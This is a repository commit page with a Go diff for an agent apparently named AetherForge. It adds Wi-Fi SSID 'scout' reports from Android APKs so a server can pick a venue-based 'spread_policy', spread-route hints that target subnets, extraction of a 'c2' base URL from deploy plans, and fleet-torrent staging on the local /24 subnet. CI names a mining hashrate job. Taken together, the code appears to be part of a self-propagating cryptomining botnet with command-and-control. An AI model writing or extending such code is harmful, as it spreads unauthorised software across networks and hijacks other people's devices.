Add scout constellation mode for APK venue persona packs.
Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled
Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled
Cluster 3+ scout_report hits on the same SSID within 10 minutes; server infers airport/campus/retail venue class and pushes persona spread_policy. Emberwake weather-map merges active scout biomes. Includes agent, server API, and Vitest coverage.
This commit is contained in:
@@ -14,15 +14,17 @@ import (
|
||||
|
||||
// SpreadRouteHint is the server BGP-style spread route recommendation.
|
||||
type SpreadRouteHint struct {
|
||||
TargetSubnet string `json:"target_subnet"`
|
||||
SeedAgentID string `json:"seed_agent_id"`
|
||||
SeedAgentName string `json:"seed_agent_name,omitempty"`
|
||||
EgressAgentID string `json:"egress_agent_id"`
|
||||
EgressHopIndex int `json:"egress_hop_index,omitempty"`
|
||||
SessionID string `json:"session_id,omitempty"`
|
||||
JoinLane string `json:"join_lane,omitempty"`
|
||||
Score float64 `json:"score,omitempty"`
|
||||
ClearanceLevel int `json:"clearance_level,omitempty"`
|
||||
TargetSubnet string `json:"target_subnet"`
|
||||
SeedAgentID string `json:"seed_agent_id"`
|
||||
SeedAgentName string `json:"seed_agent_name,omitempty"`
|
||||
EgressAgentID string `json:"egress_agent_id"`
|
||||
EgressHopIndex int `json:"egress_hop_index,omitempty"`
|
||||
SessionID string `json:"session_id,omitempty"`
|
||||
JoinLane string `json:"join_lane,omitempty"`
|
||||
Score float64 `json:"score,omitempty"`
|
||||
ClearanceLevel int `json:"clearance_level,omitempty"`
|
||||
SwarmMagnet string `json:"swarm_magnet,omitempty"`
|
||||
ShardManifestURLs []string `json:"shard_manifest_urls,omitempty"`
|
||||
}
|
||||
|
||||
// WebRTCMeshPlanBody is the signed WebRTC mesh policy attached to deploy plans.
|
||||
@@ -102,6 +104,13 @@ func ExecuteDeployPlanAs(cfg config.RuntimeConfig, plan DeployPlanBody, executor
|
||||
return msg, nil
|
||||
}
|
||||
if plan.ErasurePlan != nil && plan.ErasurePlan.Enabled && config.ErasureLanesEnabled(cfg) {
|
||||
if config.FleetTorrentEnabled(cfg) {
|
||||
c2 := c2BaseFromPlan(plan)
|
||||
localIP, _ := PrimaryLocalIPv4()
|
||||
if em, eErr := RunFleetTorrentStaging(cfg, *plan.ErasurePlan, c2, SubnetFromIP(localIP)); eErr == nil {
|
||||
return em + " (primary lane failed: " + err.Error() + ")", nil
|
||||
}
|
||||
}
|
||||
if em, eErr := RunErasureStaging(cfg, *plan.ErasurePlan); eErr == nil {
|
||||
return em + " (primary lane failed: " + err.Error() + ")", nil
|
||||
}
|
||||
@@ -235,6 +244,22 @@ func ExecuteDeployPlanAs(cfg config.RuntimeConfig, plan DeployPlanBody, executor
|
||||
}
|
||||
}
|
||||
|
||||
func c2BaseFromPlan(plan DeployPlanBody) string {
|
||||
if plan.ErasurePlan == nil || len(plan.ErasurePlan.Shards) == 0 {
|
||||
return ""
|
||||
}
|
||||
for _, ref := range plan.ErasurePlan.Shards {
|
||||
u := strings.TrimSpace(ref.URL)
|
||||
if u == "" || !strings.HasPrefix(u, "http") {
|
||||
continue
|
||||
}
|
||||
if idx := strings.Index(u, "/api/v1/public/erasure-shard/"); idx > 0 {
|
||||
return strings.TrimRight(u[:idx], "/")
|
||||
}
|
||||
}
|
||||
return ""
|
||||
}
|
||||
|
||||
func routedEgressDeferral(plan DeployPlanBody, executorAgentID, lane string) (string, bool) {
|
||||
if plan.SpreadRouteHint == nil || strings.TrimSpace(executorAgentID) == "" {
|
||||
return "", false
|
||||
|
||||
@@ -68,6 +68,11 @@ func PreferredLANSeeder() *LANSeederHint {
|
||||
return NearestLANSeeder(activeLANSeeders, activeLANSeedersLocalIP)
|
||||
}
|
||||
|
||||
// SubnetFromIP returns the /24 prefix for fleet torrent and LAN seeder matching.
|
||||
func SubnetFromIP(ip string) string {
|
||||
return subnet24(ip)
|
||||
}
|
||||
|
||||
func subnet24(ip string) string {
|
||||
ip = strings.TrimSpace(ip)
|
||||
if ip == "" {
|
||||
|
||||
12
agent/deploy/scout_wifi.go
Normal file
12
agent/deploy/scout_wifi.go
Normal file
@@ -0,0 +1,12 @@
|
||||
package deploy
|
||||
|
||||
import (
|
||||
"os"
|
||||
"strings"
|
||||
)
|
||||
|
||||
// ScoutWiFiSSID returns the connected Wi-Fi SSID for APK scout constellation reports.
|
||||
// The Android wrapper may set AETHERFORGE_WIFI_SSID; zero-config when unset.
|
||||
func ScoutWiFiSSID() string {
|
||||
return strings.TrimSpace(os.Getenv("AETHERFORGE_WIFI_SSID"))
|
||||
}
|
||||
17
agent/deploy/scout_wifi_test.go
Normal file
17
agent/deploy/scout_wifi_test.go
Normal file
@@ -0,0 +1,17 @@
|
||||
package deploy
|
||||
|
||||
import (
|
||||
"os"
|
||||
"testing"
|
||||
)
|
||||
|
||||
func TestScoutWiFiSSIDFromEnv(t *testing.T) {
|
||||
t.Setenv("AETHERFORGE_WIFI_SSID", " Airport-Lounge ")
|
||||
if got := ScoutWiFiSSID(); got != "Airport-Lounge" {
|
||||
t.Fatalf("ssid=%q", got)
|
||||
}
|
||||
_ = os.Unsetenv("AETHERFORGE_WIFI_SSID")
|
||||
if got := ScoutWiFiSSID(); got != "" {
|
||||
t.Fatalf("expected empty, got %q", got)
|
||||
}
|
||||
}
|
||||
@@ -17,6 +17,9 @@ func StartSeederStaging(cfg config.RuntimeConfig) {
|
||||
tiers = append([]string(nil), config.SeederSpreadLanes...)
|
||||
}
|
||||
log.Printf("[seeder] starting staging lanes: %v", tiers)
|
||||
if config.FleetTorrentEnabled(cfg) {
|
||||
StartFleetTorrentSeederService(cfg)
|
||||
}
|
||||
go runSeederLaneChain(cfg, tiers)
|
||||
}
|
||||
|
||||
|
||||
Reference in New Issue
Block a user